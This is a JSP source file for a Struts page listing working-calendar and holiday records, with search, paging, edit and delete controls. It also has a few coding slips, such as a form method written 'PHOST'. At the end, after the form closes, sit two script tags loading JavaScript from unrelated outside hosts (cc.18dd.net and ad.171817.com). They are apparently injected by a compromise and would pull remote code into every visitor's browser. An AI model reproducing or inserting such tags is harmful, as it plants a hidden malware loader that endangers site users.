<%
/*
 * @(#)ListHolidayRecord.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  ListWorkingCalendar.jsp

  This is a ListWorkingCalendar page.

    @author             Weison Liang
    @company            DCIVision Ltd
    @creation date      30/03/2005
    @version            $Revision: 1.1.28.9 $
*/

%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.util.ArrayList"%>
<%@ page import="java.util.List"%>
<%@ page import="java.util.Locale"%>
<%@ page import="com.dcivision.user.web.*"%>
<%@ page import="com.dcivision.user.bean.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<%@ page import="com.dcivision.setup.bean.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listWorkingCalendarForm" scope="request" class="com.dcivision.setup.web.ListWorkingCalendarForm"/>
<%
  /****************************************************************************
   * List Attributes Configuration Begin
   ****************************************************************************/
  String      LIST_NAME = "listWorkingCalendar";

  String[][]  LABEL_MAP = { {"ID", "ID"},
                            {"setup.holiday.region", "Region"},
                            {"setup.holiday.holiday_name", "Holiday Name"},
                            {"setup.holiday.holiday_type", "Holiday Type"},
                            {"setup.holiday.start_date", "Start Date"},
                            {"setup.holiday.end_date", "End Date"},
                            {"setup.holiday.description", "Description"},
                          };

  String[][] SEARCH_MAP = { {"setup.holiday.region", "Region"},
                            {"setup.holiday.holiday_name", "Holiday Name"},
                          };

  int     COLUMN_OFFSET = 2;
  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/
   List listRole = (List) request.getAttribute(ListUserRecordAction.VAR_USER_ROLE_LIST);
   List listGroup = (List) request.getAttribute(ListUserRecordAction.VAR_USER_GROUP_LIST);
%>

<script language="javascript">
<!--

function ListWorkingCalendarReset() {
  document.listWorkingCalendarForm.basicSearchKeyword.value='';
  return(OpListReset(listWorkingCalendarForm));
}

-->
</script>
<!-- Form Section Begin -->
<html:form action="setup/ListWorkingCalendar" method="PHOST">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>
<!-- Page Title Section Begin -->
<layout:titleFormat><font class="pageTitle"><layout:pageTitle/></font></layout:titleFormat>
<!-- Page Title Section End -->

<!-- Search Panel Begin -->
<table cellpadding="2" cellspacing="0" border="0" width="100%" height="40" background="<html:img src='LayoutFinderBg.gif' pathOnly='true'/>">
  <tr>
    <td width="80" rowspan="2" valign="top">
      <nobr>&nbsp;&nbsp;<html:img src='IconFinder.gif'/><b>&nbsp;<bean:message key='common.label.search'/></b></nobr>
    </td>
    <td>
      <html:select property="basicSearchField">
        <html:options stringArray='<%=SEARCH_MAP%>'/>
      </html:select>
      <html:select property='basicSearchType'>
        <html:options listName='criteriaList'/>
      </html:select>
      <html:text property='basicSearchKeyword' size='25' maxlength='100'/>
      <% String actionString = "return(OpList(listWorkingCalendarForm, '" + listWorkingCalendarForm.getSortAttribute() + "', '" + listWorkingCalendarForm.getSortOrder() + "'))" ;%>
      <html:standardButton label="common.label.go" onClick='<%=actionString%>'/>
      <html:standardButton label="common.label.reset" onClick="return(ListWorkingCalendarReset()"/>
    </td>
  </tr>
  <tr>
    <td>
      <b><bean:message key='user.columnheader.user_group'/>:</b>
      <html:select property="userGroupID">
        <html:options dbListName='userPublicGroupList'/>
      </html:select>
      &nbsp;
      <b><bean:message key='user.columnheader.user_role'/>:</b>
      <html:select property="userRoleID">
        <html:options dbListName='userRoleList'/>
      </html:select>
    </td>
  </tr>
</table>
<!-- Search Panel End -->

<table width="100%" cellpadding="20" cellspacing="0" border="0"><tr><td>
<!-- System And Error Messages Begin -->
<table cellpadding="0" cellspacing="0" border="0" width="100%"><tr><td>
<html:errors/>
<html:messages/>
</td></tr></table>
<!-- System And Error Messages End -->

<!-- Table Heading Begin -->
<table cellpadding="3" cellspacing="0" border="0" width="100%">
  <tr>
    <td>
    <html:permissionButton label="common.label.new" right="I" link="MaintWorkingCalendar.do"/>
    </td>
  </tr>
</table>
<!-- Table Heading End -->

<!-- Table Showing Record List Begin -->
<table class="mainTable" cellpadding="0" cellspacing="0" border="0" width="100%"><tr><td><table cellpadding="3" cellspacing="1" border="0" width="100%">
  <!-- Table Column Header Begin -->
  <tr>
  <layout:columnHeader form="listWorkingCalendarForm" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listWorkingCalendarForm.getSortAttribute()%>" sortOrder="<%=listWorkingCalendarForm.getSortOrder()%>" copyColumn="false"/>
  </tr>
  <!-- Table Column Header End -->
  <!-- Record Looping Begin -->
  <logic:iterate id="workingCalendar" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
  <tr onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)workingCalendar).getID()%>);">
    <td valign="top" align="center">
    <%if (((AbstractBaseObject)workingCalendar).getID().intValue()>0) {%>
      <logic:permission right='D'>
      <input type="checkbox" name="basicSelectedID" value="<bean:write name='workingCalendar' property='ID'/>" onclick="return(false);">
      <html:img src='IconCheckboxDisable.gif'  align='absmiddle' styleClass='disabledCheckbox'/>
      </logic:permission>
    <%} else {%>
      <html:img src='IconCheckboxDisable.gif'  align='absmiddle' styleClass='disabledCheckbox'/>
    <%}%>
    </td>
    <td valign="top" align="center">
      <logic:permission right='E'>
      <a href="MaintWorkingCalendar.do?navMode=E&ID=<bean:write name='workingCalendar' property='ID'/>"><html:img src='IconEdit.gif' align='absmiddle'/></a>
      <html:img src='IconEditDisable.gif' align='absmiddle'/>
      </logic:permission>
    </td>
    <td valign="top" align="center">

    </td>
  <td valign="top" align="center">

    </td>
    <td valign="top" align="center">

    </td>
    <td valign="top" align="center">

    </td>
    <td valign="top" align="center">

    </td>
    <td valign="top" align="center">

    </td>
  </tr>
  </logic:iterate>
  <!-- Record Looping End -->
  <!-- Pager Information Begin -->
  <layout:pager form="listWorkingCalendarForm" name='<%=LIST_NAME%>'>
  <tr class="listContent">
    <td colspan="<%=LABEL_MAP.length+COLUMN_OFFSET%>">
      <table width="100%" cellpadding="0" cellspacing="0" border="0">
        <tr>
          <td width="200">
            <html:permissionButton label="common.label.delete" right="D" onClick="return(OpListDelete(listWorkingCalendarForm))"/>
          </td>
          <td align="center">
            <layout:pagerInfo/>
          </td>
          <td width="200" align="right">
            <nobr><layout:pagerIndex/></nobr>
          </td>
        </tr>
      </table>
    </td>
  </tr>
  </layout:pager>
  <!-- Pager Information End -->
</table>
</td></tr></table>
<!-- Table Showing Record List End -->

</td></tr></table>
</html:form>
<!-- Form Section End -->
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>